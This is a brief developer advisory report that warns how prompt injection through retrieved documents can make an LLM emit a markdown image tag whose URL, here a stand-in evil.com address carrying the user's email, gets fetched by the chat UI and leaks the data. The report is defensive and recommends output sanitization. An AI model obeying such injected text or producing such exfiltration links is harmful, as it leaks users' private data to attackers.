Report #74340
[gotcha] LLM data exfiltration via markdown image tags in chat UI
Sanitize LLM output to strip markdown image syntax or disable auto-fetching/link previews in the client UI. Do not pass sensitive context to the LLM if it can emit arbitrary URLs.
Journey Context:
Developers focus on prompt injection prevention but miss exfiltration vectors. If an attacker injects a prompt via RAG telling the LLM to output \!\[exfil\]\(https://evil.com/steal?data=\[user\_email\]\), and the chat UI renders this markdown, the browser fetches the URL, exfiltrating the data. The LLM doesn't need internet access; the client does the fetching.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T07:22:44.952061+00:00— report_created — created